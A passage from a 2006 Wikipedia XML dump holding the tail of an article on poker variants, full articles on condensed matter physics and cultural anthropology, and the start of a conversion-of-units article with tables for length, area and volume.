middle row, followed by a third round; and finally deal the center community
card followed by a fourth betting round and showdown.

Another variation is to deal three or four hole cards to each player, though
each player may still only play exactly two of them with any consecutive row
of three from the grid.

(Need examples here)

A poker-like beginner's home game is also called &quot;Tic tac toe&quot;; it involves
dealing each player two hole cards and then dealing the 3x3 grid face up,
followed by a single betting round after which players announce the best hand
they can make from their two cards plus any consecutive row, column, or
diagonal of the board as above.
Hole cards can be redealt several times to the same board of community cards.
This is primarily for practice at recognizing and evaluating poker hands.

=== Lame-brain Pete ===
Three hole cards are dealt to each player, followed by a first betting round.
Then a single community card is dealt, followed by a second betting round.
Play continues with a single community card being added to the board followed
by a betting round, until there are four community cards, for a total of five
betting rounds.
Upon showdown, the lowest-ranking card on the board, and all cards of that
same rank either on the board or in players' hole cards, play as wild cards
(thus, it is not possible to know exactly which cards will be wild until the
end, unless a deuce appears on the board earlier than that).
Each player makes his best five-card poker hand from his three hole cards
plus the four community cards in any combination, with the low board card wild.

=== Six-pack ===

At showdown, each player will have two hole cards, and there will be six
community cards on the board arranged in a circle (something like the even-hour
marks on a clock).
The rounds go like this: each player is dealt two hole cards, followed by the
first betting round.
Then two of the board cards at opposite sides of the circle (call them 12
o'clock and 6 o'clock) are dealt, followed by a second betting round.
Two more opposite community cards are dealt (2 o'clock and 8 o'clock),
followed by a third betting round.
Finally, the 4 o'clock and 10 o'clock cards are dealt followed by a fourth
and final betting round, and showdown.

At showdown, each player makes a hand by combining his two cards with any
three ''consecutive'' cards of the board.
That is, he can use 12, 2, and 4; or 2, 4, and 6; or 6, 8, and 10; etc.
So cards dealt to opposite sides of the circle will never appear in the same
final hand.
With exactly two hole cards, there are only six possible choices for which
hand to play.
The game can be modified a bit by dealing three hole cards, where each player
is required to use exactly two of them plus three consecutive board cards.

===Bel-Aire===
Each player is dealt four cards. The board holds three rows of cards, the top with four cards, the middle with three, the bottom with two. Each player will use exactly two cards out of their hand and one from each row. There is a round of betting after the hands are dealt and after each row is revealed.

=='''[[Horseshoes_(poker)|Horseshoes]]'''== 
Each player is dealt two cards. One community card is revealed, then two more community cards are revealed. Lastly, one hole card may be traded for a new card from the deck. Betting rounds occur inbetween cards being dealt. The biggest difference between this game and other poker variants is that the winner of each round is not the one with the highest hand, but with the second-highest hand.

== Ad hoc variants ==

'''Spit In The Ocean''' is a stud variant where cards are dealt as normal.  However, at any time during the deal one player can call &quot;spit&quot;, whereupon the next card is turned face up and played as a community card.  (This variant is mentioned in the [[Ray Stevens]] song &quot;Shriner's Convention&quot;.)

[[Category:Poker variants]]</text>
    </revision>
  </page>
  <page>
    <title>Condensed matter physics</title>
    <id>5387</id>
    <revision>
      <id>33558970</id>
      <timestamp>2006-01-02T04:46:11Z</timestamp>
      <contributor>
        <username>Srleffler</username>
        <id>252195</id>
      </contributor>
      <comment>Commons cat link.</comment>
      <text xml:space="preserve">{{mergefrom|Solid state physics}}

'''Condensed matter physics''' is the field of [[physics]] that deals with the macroscopic physical properties of [[matter]]. In particular, it is concerned with the &quot;condensed&quot; [[phase (matter)|phases]] that appear whenever the number of constituents in a system is extremely large and the interactions between the constituents are strong. The most familiar examples of condensed phases are [[solid]]s and [[liquid]]s, which arise from the [[electric force]] between [[atom]]s. More exotic condensed phases include the [[superfluid]] and the [[Bose-Einstein condensate]] found in certain atomic systems at very low [[temperature]]s, the [[superconductivity|superconducting]] phase exhibited by [[conduction electron]]s in certain materials, and the [[ferromagnet]]ic and [[antiferromagnet]]ic phases of [[spin (physics)|spin]]s on [[crystal lattice|atomic lattices]].

Condensed matter physics is by far the largest field of contemporary physics. By one estimate, one third of all American [[physicist]]s identify themselves as condensed matter physicists. Historically, condensed matter physics grew out of [[solid-state physics]], which is now considered one of its main subfields. The term &quot;condensed matter physics&quot; was apparently coined by [[Philip Warren Anderson|Philip Anderson]] when he renamed his research group - previously &quot;solid-state theory&quot; - in [[1967]]. In [[1978]], the Division of Solid State Physics at the [[American Physical Society]] was renamed as the Division of Condensed Matter Physics.

One of the reasons for calling the field &quot;condensed matter physics&quot; is that many of the concepts and techniques developed for studying solids actually apply to fluid systems. For instance, the conduction electrons in an [[electrical conductor]] form a type of quantum fluid with essentially the same properties as fluids made up of atoms. In fact, the phenomenon of [[superconductivity]], in which the electrons condense into a new fluid phase in which they can flow without dissipation, is very closely analogous to the superfluid phase found in [[helium 3]] at low temperatures.

Condensed matter physics is also closely related to the field of [[materials science]]. In this context, condensed matter physicists research [[nanotechnology]], i.e. the ability to mass produce atomic-scale machines, which was first publicly envisioned by [[Richard Feynman]].  

== Topics in condensed matter physics ==

* '''[[Phase (matter)|Phase]]s'''
** ''Generic phases'' - [[Gas]]; [[Liquid]]; [[Solid]]
** ''Low temperature phases'' - [[Bose-Einstein condensate]]; [[Fermi gas]]; [[Fermi liquid]]; [[Fermionic condensate]]; [[Luttinger liquid]]; [[Superfluid]]; [[Supersolid]]
** ''Phase phenomena'' - [[Order parameter]]; [[Phase transition]]; [[Cooling curve]]
* '''[[Crystal lattice|Crystalline solids]]'''
** ''Types'' - [[Insulator]]; [[Metal]]; [[Semiconductor]]; [[Semimetal]]; [[Quasicrystals]]
** ''Electronic properties'' - [[Band gap]]; [[Bloch wave]]; [[Conduction band]]; [[Effective mass]]; [[Electrical conduction]]; [[Electron hole]]; [[Valence band]]
** ''Electronic phenomena'' - [[Kondo effect]]; [[Plasmon]]; [[Quantum Hall effect]];  [[Superconductivity]]; [[Wigner crystal]]; [[Thermoelectricity]]
** ''Lattice phenomena'' - [[Antiferromagnet]]; [[Ferroelectric effect]]; [[Ferromagnet]]; [[Magnon]]; [[Phonon]]; [[Spin glass]]; [[Topological defect]]
* '''[[Soft matter]]'''
** ''Types'' - [[Amorphous solid]]; [[Granular matter]]; [[Liquid crystal]]; [[Polymer]]; 
* '''[[Nanotechnology]]'''
** ''Nanoelectromechanical Systems ([[NEMS]])''
** ''Magnetic Resonance Force Microscopy''
** ''Heat Transport in Nanoscale Systems''
** ''Spin Transport''
==See also==
{{Commonscat}}

{{Physics-footer}}

&lt;!--Interwiki--&gt;
&lt;!--Categories--&gt;

[[Category:Condensed matter physics| ]]
&lt;!-- [[Category:Physics]] redundant supercat --&gt;

[[de:Kondensierte Materie]]
[[fr:Physique de la matière condensée]]
[[ko:&amp;#51025;&amp;#51665;&amp;#47932;&amp;#51656; &amp;#47932;&amp;#47532;&amp;#54617;]]
[[id:Fisika benda kondensi]]
[[ja:&amp;#29289;&amp;#24615;&amp;#29289;&amp;#29702;&amp;#23398;]]
[[zh:&amp;#20957;&amp;#32858;&amp;#24577;&amp;#29289;&amp;#29702;&amp;#23398;]]</text>
    </revision>
  </page>
  <page>
    <title>Cultural anthropology</title>
    <id>5388</id>
    <revision>
      <id>41749641</id>
      <timestamp>2006-03-01T13:47:52Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Cultural anthropology''', also called '''social anthropology''' or '''socio-cultural anthropology''', forms one of four commonly-recognized fields of [[anthropology]], the holistic study of humanity.  It is the branch of anthropology that has developed and promoted &quot;culture&quot; as a meaningful scientific concept; it is also the branch of anthropology that studies cultural variation among humans.  The anthropological concept of &quot;culture&quot; reflects in part a reaction against earlier Western [[discourse]]s based on an opposition between &quot;[[culture]]&quot; and &quot;[[nature]]&quot;, according to which some human beings lived in a &quot;state of nature&quot;.  Anthropologists argue that culture ''is'' &quot;human nature,&quot; and that all people have a capacity to classify experiences, encode classifications symbolically, and teach such abstractions to others.  

Since humans acquire culture through learning, people living in different places or different circumstances may develop different cultures.  Anthropologists have also pointed out that through culture people can adapt to their environment in non-genetic ways, so people living in different environments will often have different cultures.  Much of anthropological theory has originated in an appreciation of and interest in the tension between the local (particular cultures) and the global (a universal human nature, or the web of connections between people in distinct places/circumstances).

== A brief history ==
Modern socio-cultural anthropology has its origins in [[19th century]] &quot;[[ethnology]]&quot;, which involves the organized comparison of human societies.  Scholars like [[Edward Burnett Tylor|E.B. Tylor]] and [[James Frazer|J.G. Frazer]] in [[England]] worked mostly with materials collected by others &amp;#8211; usually missionaries, explorers, or colonial officials &amp;#8211; this earned them their current sobriquet of  &quot;arm-chair anthropologists&quot;.  Ethnologists had an especial interest in why people living in different parts of the world sometimes had similar [[belief]]s and practices.  In addressing this question, ethnologists in the [[19th century]] divided  into two schools of thought. Some, like [[Grafton Elliot Smith]], argued that different groups must somehow have learned from one another, however indirectly; in other words, they argued that cultural traits spread from one place to another, or &quot;[[Diffusion (anthropology)|diffused]]&quot;.  Other ethnologists argued that different groups had the capability of inventing similar beliefs and practices independently.  Some of those who advocated &quot;independent invention&quot;, like [[Lewis Henry Morgan]], additionally supposed that similarities meant that different groups had passed through the same stages of [[cultural evolution]].  

[[20th century]] anthropologists largely reject the notion that all human societies must pass through the same stages in the same order.  Some 20th century ethnologists, like [[Julian Steward]], have instead argued that such similarities reflected similar adaptations to similar environments (see [[cultural evolution]]).  Others, like [[Claude Lévi-Strauss]], have argued that apparent patterns of development reflect fundamental similarities in the structure of human thought (see [[structuralism]]).

In the 20th century most socio-cultural anthropologists turned to the study of [[ethnography]], in which an anthropologist actually lives among another society for a considerable period of time, simultaneously [[participant observation|participating in and observing]] the social and cultural life of the group. [[Bronislaw Malinowski]] (who conducted [[fieldwork]] in the [[Trobriand Islands]] and taught in England) developed this method, and [[Franz Boas]] (who conducted fieldwork in [[Baffin Island]] and taught in the [[United States]]) promoted it.  

Although 19th century ethnologists saw &quot;diffusion&quot; and &quot;independent invention&quot; as mutually exclusive and competing theories, most ethnographers quickly reached a consensus that both processes occur, and that both can plausibly account for cross-cultural similarities.  But these ethnographers pointed out the superficiality of many such similarities, and that even traits that spread through diffusion often changed their meaning and functions as they moved from one society to another.  Accordingly, these anthropologists showed less interest in comparing cultures, generalizing about human nature, or discovering universal laws of cultural development, than in understanding particular cultures in those cultures' own terms.  Such ethnographers and their students promoted the idea of &quot;[[cultural relativism]]&quot;, the view that one can only understand another person's beliefs and behaviors in the context of the culture in which he or she lived.

In the early 20th century socio-cultural anthropology developed in different forms in [[Europe]] and in the United States.  European  &quot;social anthropologists&quot; focused on observed social behaviors and on &quot;social structure&quot;, that is, on [[relationship]]s among social [[role]]s (e.g. husband and wife, or parent and child) and social [[institution]]s (e.g. [[anthropology of religion|religion]], [[economic anthropology|economy]], and [[political anthropology|politics]]).  American &quot;cultural anthropologists&quot; focused on the ways people expressed their view of themselves and their world, especially in [[symbol]]ic forms (such as [[art]] and [[Mythology|myth]]s).  These two approaches frequently converged ([[kinship]], for example, and [[leadership]] function both as a symbolic systems and as social institutions), and generally complemented one another.  Today almost all socio-cultural anthropologists refer to the work of both sets of predecessors, and have an equal interest in what people do and in what people say.

== Contemporary Theory and Methods ==
Today ethnography continues to dominate socio-cultural anthropology.  Nevertheless, many contemporary socio-cultural anthropologists have rejected earlier models of ethnography that treated local cultures as bounded and isolated.  These anthropologists continue to concern themselves with the distinct ways people in different locales experience and understand their [[personal life | lives]], but they often argue that one cannot understand these particular ways of life solely in the local context; one must analyze them (they say) in the context of regional or even global political and economic relations.  Notable proponents of this approach include [[Arjun Appadurai]], [[James Clifford]], [[Jean Comaroff]], [[John Comaroff]], [[James Ferguson (cultural anthropologist)|James Ferguson]], [[Akhil Gupta]], [[George Marcus]], [[Sidney Mintz]], [[Michael Taussig]], [[Marcus Tremble]], [[Joan Vincent]], and [[Eric Wolf]].

A growing trend in anthropological research and analysis is the use of multi-sited ethnography, discussed in George Marcus's article &quot;Ethnography In/Of the World System: the Emergence of Multi-Sited Ethnography&quot; [http://cio.ceu.hu/extreading/CIO/Marcus_on_multi_locale_fieldwork.html].  Looking at culture as embedded in macro-constructions of a global social order, multi-sited ethnography uses traditional methodology in various locations both spacially and temporally.  Through this methodology greater insight can be gained when examining the impact of world-systems on local and global communities.  Also emerging in multi-sited ethnography are greater interdisciplinary approaches to fieldwork, bringing in methods from cultural studies, media studies, science and technology studies, and others. In multi-sited ethnography research tracks a subject across spatial and temporal boundaries.  For example, a multi-sited ethnography may follow a &quot;thing,&quot; such as a particular commodity, as it transfers through the networks of global capitalism.  Multi-sited ethnography may also follow ethnic groups in diaspora, stories or rumours that appear in multiple locations and in multiple time periods, metaphors that appear in multiple ethnographic locations, or the biographies of individual people or groups as they move through space and time.  It may also follow conflicts that transcend boundaries.  Multi-sited ethnographies, such as [[Nancy Scheper-Hughes]]'s ethnography of the international black market for the trade of human organs [http://eth.sagepub.com/cgi/content/refs/5/1/29].  In this research she follows organs as they transfer through various legal and illegal networks of capitalism, as well as the rumours and urban legends that circulate in impoverished communities about child kidnapping and organ theft.  

Sociocultural anthropologists have increasingly turned their investigative eye on to [[western culture | &quot;Western&quot; culture]]. For example, [[Philippe Bourgois]] won the [[Margaret Mead Award]] in 1997 for ''In Search of Respect'', a study of the entrepreneurs in a Harlem crack-den.  Also growing more popular are ethnographies of professional communities, such as laboratory researchers, Wall Street investors, law firms, or IT computer employees [http://www.ingentaconnect.com/search/expand?pub=infobike://mcb/161/1995/00000008/00000003/art00003&amp;unc=].

== See also ==

* [[Ernest Gellner]]
* [[Dual inheritance theory]]
* [[Human behavioral ecology]]
* [[Hunter-gatherers]]
* [[Nomad]]s
* [[Symbolic anthropology]]

[[Category:Anthropology]]
[[Category:Human sciences]]
[[Category:Cultural anthropology|*]]
[[Category:Culture]]
[[Category:Humanities occupations]]

[[bs:Kulturalna antropologija]]
[[be:Культурная антрапалёгія]]
[[da:Socialantropologi]]
[[de:Ethnologie]]
[[eo:Etnologio]]
[[fr:Ethnologie]]
[[ko:문화 인류학]]
[[it:Antropologia culturale]]
[[lb:Ethnologie]]
[[nl:Culturele antropologie]]
[[ja:文化人類学]]
[[pl:Antropologia kulturowa]]
[[pt:Antropologia cultural]]
[[fi:Kulttuuriantropologia]]
[[sv:Socialantropologi]]
[[ta:பண்பாட்டு மனிதவியல்]]
[[zh:文化人类学]]</text>
    </revision>
  </page>
  <page>
    <title>Conversion of units</title>
    <id>5390</id>
    <revision>
      <id>41323047</id>
      <timestamp>2006-02-26T15:55:44Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>/* Length */ dab chain</comment>
      <text xml:space="preserve">This article lists '''conversion factors''' between a number of [[units of measurement]].

==Conversion techniques==
The simplest way to convert from one unit to another is to carry through the units themselves in the mathematical operation. To illustrate this process, consider the following examples.

You would like to convert 6 feet into metres. Consulting the table below and finding that one foot is exactly 0.3048 metre, you can now perform the mathematical conversion:

&lt;center&gt;6 ft × 0.3048 m/ft = 1.8288 m&lt;/center&gt;

Notice that the &quot;foot&quot; units canceled out, leaving only metres, the desired result. (Since 0.3048 metre per foot have infinite precision, the precision of the answer is determined by the precision of the 6 ft figure; if, for example, you are defining the fathom, expressing it with 5 significant figures is correct. But if the 6 ft figure is a measurement, the result needs to be rounded appropriately.)

Say your height is 183 centimetres, and you wish to convert this into inches:

&lt;center&gt;183 cm / (2.54 cm/in) = 72.0 in&lt;/center&gt;

To check our answer, we convert this result back into feet:

&lt;center&gt;72 in / (12 in/ft) = 6.0 feet&lt;/center&gt;

which confirms the earlier result.

Multiple units can be manipulated in the same fashion:

&lt;center&gt;7 mi/s × 1.609344 km/mi × 3600 s/h = 40,000 km/h&lt;/center&gt;

Thus, Earth escape velocity is about 7 miles per second, or 40,000 kilometres per hour. Notice that since the calculation started with one significant figure (the 7), the answer also has one significant figure (the 4 in 40,000).

Deciding whether to multiply or divide is determined by looking at the units and deciding which ones you want to &quot;get rid&quot; of. In the conversion just above, if we had divided by 3600 s/h instead of multiplying, the result would have come out in kilometre-hours per square second, clearly an incorrect and meaningless result.

==See also==
* [[Units conversion by factor-label]]

== Rounding of results ==

An important thing to remember is that the process of making a conversion cannot give you any more precise results than what you started with. While many of the conversion factors given in the tables below are exact, and others while not exact contain many significant digits, all the numbers you get after performing calculations on a calculator or with pencil and paper are not meaningful.

After using these conversion factors, ''be sure to round off the results appropriately.''

=== See also ===
*[[False precision]]
*[[Accuracy and precision]]
*[[Significant figures]]

==Tables of conversion factors ==
'''Key:'''&lt;br&gt;
≡ &amp;mdash; definition&lt;br&gt;
= &amp;mdash; exactly equal to&lt;br&gt;
≈ &amp;mdash; approximately equal to&lt;br&gt;
(digits) &amp;mdash; indicates the digits repeat infinitely

===Length===
{| class=&quot;wikitable&quot;
|+ [[Length]], l
|-----
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[metre]] ([[SI base unit]]) || m
| ≡ m
| = m
|-----
| [[fermi]] || fm
| ≡ 1.000×10&lt;sup&gt;-15&lt;/sup&gt; m
| = 1.000×10&lt;sup&gt;-15&lt;/sup&gt; m
|-----
| [[x unit]]; [[siegbahn]] || xu
|
| ≈ 1.0021×10&lt;sup&gt;-13&lt;/sup&gt; m
|-----
| [[stigma]]; pm|| &amp;nbsp;
| ≡ 1.000×10&lt;sup&gt;-12&lt;/sup&gt; m
| ≡ 1.000×10&lt;sup&gt;-12&lt;/sup&gt; m
|-----
| [[Bohr radius]] || a&lt;sub&gt;0&lt;/sub&gt;; b
| ≡ [[fine structure constant|α]]/(4π[[Rydberg constant|''R''&lt;sub&gt;∞&lt;/sub&gt;]])
| ≈ 5.291 772 083×10&lt;sup&gt;-11&lt;/sup&gt; ± 19×10&lt;sup&gt;-20&lt;/sup&gt; m
|-----
| [[atomic units|atomic unit of length]] || au
| ≡ a&lt;sub&gt;0&lt;/sub&gt;
| ≈ 5.291 772 083×10&lt;sup&gt;-11&lt;/sup&gt; ± 19×10&lt;sup&gt;-20&lt;/sup&gt; m
|-----
| [[angstrom|ångström]] || Å
|
| ≡ 1.000×10&lt;sup&gt;-10&lt;/sup&gt;m = 0.1 nm
|-----
| [[micrometre|micron]]|| µ, µm
|
| ≡ 1.000×10&lt;sup&gt;-6&lt;/sup&gt;m
|-----
| [[twip]] || twp
| ≡ 1/1440 in
| ≈ 1.763 889×10&lt;sup&gt;-5&lt;/sup&gt; m
|-----
| [[mil]]; thou || mil
| ≡ 1.000×10&lt;sup&gt;-3&lt;/sup&gt; in
| = 2.54×10&lt;sup&gt;-5&lt;/sup&gt; m
|-----
| mickey || &amp;nbsp;
| ≡ 1/200 in
| = 1.27×10&lt;sup&gt;-4&lt;/sup&gt; m
|-----
| point ([[American Typefounders Association|ATA]]) || pt
| ≡ 0.013837 in
| = 0.351 459 8 mm
|-----
| point ([[PostScript]])|| pt
| ≡ 1/72 in
| ≈ 0.352 778 mm
|-----
| point (metric) || pt
| ≡ 3/8 mm
| = 0.375 mm
|-----
| point (Didot; European) || pt
|
| ≡ 0.376 065 mm
|-----
| line || ln
| ≡ 1/12 in
| ≈ 2.116 667 mm
|-----
| barley corn || &amp;nbsp;
| ≡ 1/3 in
| ≈ 8.466 667 mm
|-----
| finger || &amp;nbsp;
| ≡ 7/8 in
| = 22.225 mm
|-----
| [[inch]] || in
| ≡ 1/36 yd
| = 25.4 mm
|-----
| calibre || cal
| ≡ 1 in
| = 25.4 mm
|-----
| stick || &amp;nbsp;
| ≡ 2 in
| = 50.8 mm
|-----
| nail (cloth) || &amp;nbsp;
| ≡ 2 ¼ in
| = 57.15 mm
|-----
| palm || &amp;nbsp;
| ≡ 3 in
| = 76.2 mm
|-----
| hand || &amp;nbsp;
| ≡ 4 in
| = 0.1016 m
|-----
| finger (cloth) || &amp;nbsp;
| ≡ 4 ½ in
| = 0.1143 m
|-----
| span || &amp;nbsp;
| ≡ 6 in
| = 0.1524 m
|-----
| link (Gunter's; Surveyor's) || lnk
| ≡ 1/100 ch
| = 0.201 168 m
|-----
| span (cloth) || &amp;nbsp;
| ≡ 9 in
| = 0.2286 m
|-----
| quarter || &amp;nbsp;
| ≡ ¼ yd
| = 0.2286 m
|-----
| link (Ramsden's; Engineer's) || lnk
| ≡ 1 ft
| = 0.3048 m
|-----
| [[foot (unit of length)|foot]] (Clarke's; Cape) || ft (Cla)
|
| ≈ 0.304 797 265 4 m
|-----
| [[foot (unit of length)|foot]] (Sear's) || ft (Sear)
|
| ≈ 0.304 799 47 m
|-----
| [[foot (unit of length)|foot]] (Indian) || ft Ind
|
| ≈ 0.304 799 514 m
|-----
| [[foot (unit of length)|foot]] (Benoît) || ft (Ben)
|
| ≈ 0.304 799 735 m
|-----
| [[foot (unit of length)|foot]] || ft
| ≡ 12 in
| = 0.3048 m
|-----
| [[foot (unit of length)|foot]] (American; U.S. Survey) || ft (US)
| ≡ 1200/3937 m
| ≈ 0.304 800 610 m
|-----
| cubit || &amp;nbsp;
| ≡ 18 in
| = 0.4572 m
|-----
| pace || &amp;nbsp;
| ≡ 2.5 ft
| = 0.762 m
|-----
| [[yard]] || yd
| ≡ 3 ft
| = 0.9144 m
|-----
| ell || ell
| ≡ 45 in
| = 1.143 m
|-----
|rowspan=&quot;2&quot;| [[fathom]] ||rowspan=&quot;2&quot;| fm
| ≡ 6 ft
| = 1.8288 m
|-
| ≈ 1/1000 NM
| = 1.852 m
|-----
| [[rod (unit)|rod]]; pole; perch || rd
| ≡ 16 ½ ft
| = 5.0292 m
|-----
| rope || rope
| ≡ 20 ft
| = 6.096 m
|-----
| [[chain (unit)|chain]] ([[Edmund Gunter|Gunter]]'s; Surveyor's) || ch
| ≡ 66 ft
| = 20.1168 m
|-----
| [[chain]] ([[Jesse Ramsden|Ramsden]]'s&lt;!--- Ramsden: http://www.scienceandsociety.co.uk/results.asp?image=10280167&amp;wwwflag=2&amp;imagepos=6 Ramden: [http://aurora.rg.iupui.edu/~schadow/units/UCUM/ucum.html The Unified Code for Units of Measures] ---&gt;; Engineer's) || ch
| ≡ 100 ft
| = 30.48 m
|-----
| [[cable length]] (International) || &amp;nbsp;
| ≡ 1/10 NM
| = 185.2 m
|-----
| cable length (Imperial) || &amp;nbsp;
| ≡ 608 ft
| = 185.3184 m
|-----
| [[furlong]] || fur
| ≡ 660 ft
| = 201.168 m
|-----
| cable length (U.S.) || &amp;nbsp;
| ≡ 720 ft
| = 219.456 m
|-----
| [[mile]] || mi
| ≡ 1760 yd = 5280 ft
| = 1609.344 m
|-----
| [[mile]] (U.S. Survey) || mi
| ≡ 5280 ft (US)
| = 5280×1200/3937 m ≈ 1609.347 219 m
|-----
| [[nautical mile]] || NM; nm
|
| ≡ 1852 m
|-----
| [[nautical mile]] (Admiralty) || NM (Adm); nm (Adm)
| ≡ 6080 ft
| = 1853.184 m
|-----
| [[geographical mile]] || mi
| ≡ 6082 ft
| = 1853.7936 m
|-----
| telegraph [[mile]] || mi
| ≡ 6087 ft
| = 1855.3176 m
|-----
| [[league (unit)|league]] || lea
| ≡ 3 mi
| = 4828.032 m
|-----
| nautical league || NL; nl
| ≡ 3 NM
| = 5556 m
|-----
| [[light second|light-second]] || &amp;nbsp;
|
| ≡ 2.997 924 58×10&lt;sup&gt;8&lt;/sup&gt; m
|-----
| [[light-minute]] || &amp;nbsp;
| ≡ 60 light-seconds
| = 1.798 754 748×10&lt;sup&gt;10&lt;/sup&gt; m
|-----
| [[astronomical unit]] || AU
|
| = 149 597 870.691 ± 0.030 km
|-----
| spat || S
| ≡ 10&lt;sup&gt;12&lt;/sup&gt; m
| = 1 Tm
|-----
| [[light-hour]] || &amp;nbsp;
| ≡ 60 light-minutes
| = 1.079 252 848 8×10&lt;sup&gt;12&lt;/sup&gt; m
|-----
| [[light-day]] || &amp;nbsp;
| ≡ 24 light-hours
| = 2.590 206 837 12×10&lt;sup&gt;13&lt;/sup&gt; m
|-----
| [[light year|light-year]] || l.y.
| ≡ ''c''&lt;sub&gt;0&lt;/sub&gt;×86 400×365.25
| = 9.460 730 472 580 8×10&lt;sup&gt;15&lt;/sup&gt; m
|-----
| [[parsec]] || pc
| ≈ 180×60×60/π AU&lt;br&gt;
≈ 206 264.806 25 AU&lt;br&gt;
= 3.261 563 776 9 ± 6×10&lt;sup&gt;-10&lt;/sup&gt; light-years
| = 3.085 677 581 3×10&lt;sup&gt;16&lt;/sup&gt; ± 6×10&lt;sup&gt;6&lt;/sup&gt; m
|}

===Area===
{| class=&quot;wikitable&quot;
|+ [[Surface area|Area]], A
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[square metre]] (SI unit) || m²
| ≡ 1 m × 1 m
|
|-----
| [[barn (unit)|barn]] || b
|
| ≡ 10&lt;sup&gt;-28&lt;/sup&gt; m²
|-----
| circular mil; circular thou || circ mil
| ≡ π/4 mil²
| ≈ 5.067 075×10&lt;sup&gt;-10&lt;/sup&gt; m²
|-----
| square mil; square thou || sq mil
| ≡ 1 mil²
| = 6.4516×10&lt;sup&gt;-10&lt;/sup&gt; m²
|-----
| circular [[inch]] || circ in
| ≡ π/4 in²
| ≈ 5.067 075×10&lt;sup&gt;-4&lt;/sup&gt; m²
|-----
| [[square inch]] || sq in
| ≡ 1 in²
| = 6.4516×10&lt;sup&gt;-4&lt;/sup&gt; m²
|-----
| board || bd
| ≡ 1 in × 1 ft
| = 7.741 92×10&lt;sup&gt;-3&lt;/sup&gt; m²
|-----
| square link || sq lnk
| ≡ 1 lnk²
| = 4.046 856 422 4×10&lt;sup&gt;-2&lt;/sup&gt; m²
|-----
| [[square foot]] || sq ft
| ≡ 1 ft²
| = 9.290 304×10&lt;sup&gt;-2&lt;/sup&gt; m²
|-----
| [[square yard]] || sq yd
| ≡ 1 yd²
| = 0.836 127 36 m²
|-----
| cord || &amp;nbsp;
| ≡ 192 bd
| = 1.486 448 64 m²
|-----
| boiler horsepower equivalent direct radiation || bhp EDR
| ≡ (1 ft²) (1 bhp) / (240 BTU&lt;sub&gt;IT&lt;/sub&gt;/h)
| ≈ 12.958 174 m²
|-----
| square rod/pole/perch || sq rd
| ≡ 1 rd²
| = 25.292 852 64 m²
|-----
| [[are]] || a
|
| ≡ 100 m²
|-----
| square chain || sq ch
| ≡ 1 ch²
| = 404.685 642 24 m²
|-----
| [[dunam]] || &amp;nbsp;
|
| ≡ 1000 m²
|-----
| rood || ro
| ≡ ¼ ac
| = 1011.714 105 6 m²
|-----
| [[acre]] || ac
| ≡ 10 sq ch = 4840 sq yd
| = 4046.856 422 4 m²
|-----
| [[hectare]] || ha
| ≡ 10 000 m²
| = 0.01 km²
|-----
| yardland || &amp;nbsp;
| ≡ 30 ac
| = 1.214 056 926 72×10&lt;sup&gt;5&lt;/sup&gt; m²
|-----
| [[hide (unit)|hide]] || &amp;nbsp;
| ≡ 100 ac&lt;!-- Definition is &quot;amount of land required to support one peasant family&quot; --&gt;
| = 4.046 856 422 4×10&lt;sup&gt;5&lt;/sup&gt; m²
|-----
| [[square kilometre]] || km²
| ≡ 1 km²
| = 10&lt;sup&gt;6&lt;/sup&gt; m²
|-----
| square [[mile]]; section || sq mi
| ≡ 1 mi²
| = 2.589 988 110 336×10&lt;sup&gt;6&lt;/sup&gt; m²
|-----
| square U.S. Survey [[mile]] || sq mi
| ≡ 1 mi (US)²
| ≈ 2.589 998×10&lt;sup&gt;6&lt;/sup&gt; m²
|-----
| [[survey township|township]] || &amp;nbsp;
| ≡ 36 sq mi (US)
| ≈ 9.323 994×10&lt;sup&gt;7&lt;/sup&gt; m²
|-----
| barony || &amp;nbsp;
| ≡ 4000 ac
| = 1.618 742 568 96×10&lt;sup&gt;7&lt;/sup&gt; m²
|}

===Volume===
{| class=&quot;wikitable&quot;
|+ [[Volume]], V
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[cubic metre]] (SI unit) || m³
| ≡ 1 m × 1 m × 1 m
|
|-----
| [[litre]] || L
|
| ≡ 1 dm³
|-----
| [[lambda (unit)|lambda]] || λ
| ≡ 1 mm³
| = 1 μL
|-----
| [[drop (unit)|drop]] (metric) || &amp;nbsp;
| ≡ 1/20 mL
| = 0.05 mL
|-----
| [[minim (unit)|minim]] (Imperial) || min
| ≡ 1/480 fl oz (Imp) = 1/60 fl dr (Imp)
| ≈ 0.059 193 880 208 333 mL
|-----
| minim (U.S.) || min
| ≡ 1/480 US fl oz = 1/60 US fl dr
| = 0.061 611 519 921 875 mL
|-----
| drop (U.S.) (alt) || gtt
| ≡ 1/456 US fl oz
| ≈ 0.064 854 231 mL
|-----
| drop (Imperial) (alt) || gtt
| ≡ 1/1824 gi (Imp)
| ≈ 0.077 886 684 mL
|-----
| drop (U.S.) || gtt
| ≡ 1/360 US fl oz
| = 0.082 148 693 229 1(6) mL
|-----
| drop (medical) || &amp;nbsp;
| ≡ 1/12 mL
| = 0.08(3) mL
|-----
| drop (Imperial) || gtt
| ≡ 1/288 fl oz (Imp)
| = 0.098 656 467 013 (8) mL
|-----
| dash (U.S.) || &amp;nbsp;
| ≡ 1/96 US fl oz = ½ US pinch
| = 0.308 057 599 609 375 mL
|-----
| dash (Imperial) || &amp;nbsp;
| ≡ 1/384 gi (Imp) = ½ pinch (Imp)
| = 0.369 961 751 302 08(3) mL
|-----
| pinch (U.S.) || &amp;nbsp;
| ≡ 1/48 US fl oz = 1/8 US tsp ||= 0.616 115 199 218 75 mL
|-----
| pinch (Imperial) || &amp;nbsp;
| ≡ 1/192 gi (Imp) = 1/8 tsp (Imp)
| = 0.739 923 502 604 1(6) mL
|-----
| [[fluid scruple]] (Imperial) || fl s
| ≡ 1/24 fl oz (Imp)
| = 1.183 877 604 1(6) mL
|-----
| drachm (fluid); dram (Imperial fluid); Imperial [[fluidram]] || fl dr
| ≡ 1/8 fl oz (Imp)
| = 3.551 632 812 5 mL
|-----
| dram (U.S. fluid); U.S. fluidram || fl dr
| ≡ 1/8 US fl oz
| = 3.696 691 195 312 5 mL
|-----
| [[teaspoon]] (Canadian) || tsp
| ≡ 1/6 fl oz (Imp)
